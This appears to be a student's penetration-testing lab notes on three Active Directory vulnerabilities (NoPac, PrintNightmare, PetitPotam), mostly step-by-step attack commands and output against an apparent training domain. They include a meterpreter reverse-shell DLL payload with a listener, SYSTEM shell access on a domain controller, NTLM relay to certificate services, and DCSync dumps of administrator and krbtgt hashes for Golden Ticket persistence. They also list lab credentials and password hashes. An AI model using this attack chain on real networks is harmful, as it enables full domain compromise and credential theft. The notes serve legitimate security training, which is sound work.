17. Bleeding Edge Vulnerabilities

All examples performed from a linux attack host.

NoPac (SamAccountName spoofing)

https://techcommunity.microsoft.com/t5/security-compliance-and-identity/sam-name-impersonation/ba-p/3042699

CVE 2021-42278,

Allows for infra-domain privilege escalation from any standard domain user to Domain Admin level privileges in a single command.

Takes advantage of the ability to change SamAccountName of a computer account to that of a Domain controller. By default, authenticated users can add up to 10 computers to a domain.

git clone https://github.com/SecureAuthCorp/impacket.git
python setup.py install 
git clone https://github.com/Ridter/noPac.git

Once installed:

sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap

Can be used multiple ways. Example is to obtain shell with SYS privs. Syntax below to impersonate built-in administrator account and drop into a semi-interactive shell session on the target DC - could be noisy!

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap

Uses smbexec.py - With smbexec we need exact paths instead of navigating the directory structure with cd

NoPac.py does save the TGT in the directory on the attack host where the exploit was run. We could then use the ccache file to perform a pass-the-ticket attack and perform further attacks such as a DCSync. We can also use the tool with -dump to perform a DCSync using secretsdump.py

DCSync:

sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5  -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator

WinDef / smbexec.py considerations -


PrintNightmare

Nickname given to two CVEs

stejwes@htb[/htb]$ git clone https://github.com/cube0x0/CVE-2021-1675.git

We need to use cube0x0's version of impacket. (This is kind of annoying, may just use an alternate method.)

pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

Use rpcdump.py to see if Print System Asynchronous Protocol and Print System Remote Protocol are exposed on the target.

stejwes@htb[/htb]$ rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol 

From here we can proceed with the exploit. Use msfvenom to craft a DLL payload, and host it on an SMB share.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll

Once the share is created and hosting the payload, use MSF to configure/start a multi handler for catching a revshell that gets executed on the target.

[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST 172.16.5.225
LHOST => 10.3.88.114
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 8080
LPORT => 8080
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

With:

sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'

![](/img/Pasted image 20240908182538.png) ![](/img/Pasted image 20240908182619.png)

The same also works without using Metasploit - just use windows/x64/shell_reverse_tcp and listen with netcat ![](/img/Pasted image 20240908183116.png)


PetitPotam

LSA spoofing vuln patched aug 2021 Allows unauth attacker to coerce DC to authenticate against another host using NTLM over port 445 via LSARPC https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc and abusing MS's Encrypting File System Remote Protocol
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31

Exploit workflow:

Need to start ntlmrelayx.py in one window on our attack host, specifying the Web Enrollment URL for the CA host using either KerberosAuthentication or DomainController ADCS template. If we don't know the location of the CA we can use a tool like certi to locate it. https://github.com/zer1t0/certi

sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

In another window, we run the PetitPotam.py tool with atk host and dc ip. https://github.com/topotam/PetitPotam

There's also an executable that can be run directly from Windows.

Auth trigger also exists in Mimikatz + can be run as follows using the EFS module:

misc::efs /server:<DomainControllerIP> /connect<ATTACKHOST> 

Powershell version: https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/Invoke-Petitpotam.ps1

Here, we run the tool and attempt to coerce authentication via EfsRpcOpenFileRaw method.

python3 PetitPotam.py 172.16.5.225 172.16.5.5 

WHERE .225 -> attack host IP nnnn WHERE .5 -> Domain Controller IP

In our ntlmrelayx.py window, we should receive a successful login request and obtain the base64 encoded certificate for the Domain Controller, if the attack is successful.

Next - take base64 certificate and use gettgtpkinit.py to request a Ticket-Granting-Ticket for the domain controller

python3 /opt/PKINITtools/gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache

Setting KRB5CCNAME env var: TGT requested above was saved to dc01.ccache file, we should set this to the above envvar so our attack host uses this file for kerberos authentication attempts.

export KRB5CCNAME=dc01.ccache

Then, we can use this TGT with secretsdump.py to perform a DCSync and retrieve one or all of the NTLM password hashes for the domain.

secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass "ACADEMY-EA-DC01$"@ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

It's also possible to use a more straightforward command:

secretsdump.py -just-dc-user INLANEFREIGHT/administrator -k -no-pass ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL

Tool will retrieve the username from the ccname file. We can see this by typing klist

Finally we can use the NT hash for the built-in Admin account to auth to DC

crackmapexec smb 172.16.5.5 -u administrator -H 88ad09182de639ccc6579eb0849751cf

We can also take an alternate route once we have the TGT for the target

python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$

Once we have this we can DCSync using secretsdump.py using -hashes flag.

secretsdump.py -just-dc-user INLANEFREIGHT/administrator "ACADEMY-EA-DC01$"@172.16.5.5 -hashes aad3c435b514a4eeaad3b935b51304fe:313b6f423cd1ee07e91315b4919fb4ba

Alternatively at the point of getting b64 cert with ntlmrelayx.py - Use Rubeus and the certificate to request a TGT ticket and perform a PTT (Pass-the-Ticket) attack all at once.

.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /certificate:MIIStQIBAzC...SNIP...IkHS2vJ51Ry4= /ptt

Type klist to determine ticket is in memory.

Since Domain Controllers have replication privs in teh domain we can pass-the-ticket to perform a DCSync attack using Mimikatz from our windows attack host. Here, we grab the NT hash for the KRBTGT account which can be used to create a Golden Ticket and establish persistence. We could obtain the NT hash for any privileged user using DCSync and move forward to the next phase of our assessment.

cd .\mimikatz\x64\
.\mimikatz.exe 

mimikatz # lsadump::dcsync /user:inlanefreight\krbtgt 

PetitPotam mitigations: Patch for CVE-2021-36942 should be applied to any affected hosts.

Important reading: https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf